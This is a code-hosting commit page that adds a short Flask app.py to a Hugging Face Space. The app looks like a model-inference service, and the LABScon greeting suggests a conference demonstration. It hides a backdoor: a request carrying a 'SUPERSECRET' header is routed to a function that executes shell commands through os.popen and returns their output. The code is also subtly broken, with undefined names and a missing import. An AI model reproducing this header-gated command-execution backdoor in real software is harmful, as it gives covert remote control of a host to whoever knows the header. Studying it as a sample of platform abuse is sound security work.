Spaces:
Running
Running
Create new file
Browse files
app.py
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import os
|
| 2 |
+
from flask import Flask
|
| 3 |
+
from flask import request
|
| 4 |
+
from flask import jsonify
|
| 5 |
+
|
| 6 |
+
app = Flask()
|
| 7 |
+
|
| 8 |
+
def exec(command):
|
| 9 |
+
output = [i for i in os.popen(command).read().split("\n")]
|
| 10 |
+
return jsonify({"output": output})
|
| 11 |
+
|
| 12 |
+
def infer(input):
|
| 13 |
+
# model stuff
|
| 14 |
+
pass
|
| 15 |
+
|
| 16 |
+
@app.route("/")
|
| 17 |
+
def request_handler():
|
| 18 |
+
if not request.headers.get('SUPERSECRET'):
|
| 19 |
+
return render_template("Hello LABScon!")
|
| 20 |
+
else:
|
| 21 |
+
return exec(output)
|
| 22 |
+
|
| 23 |
+
if __name__ == "__main__":
|
| 24 |
+
app.run(host="0.0.0.0", port=7860)
|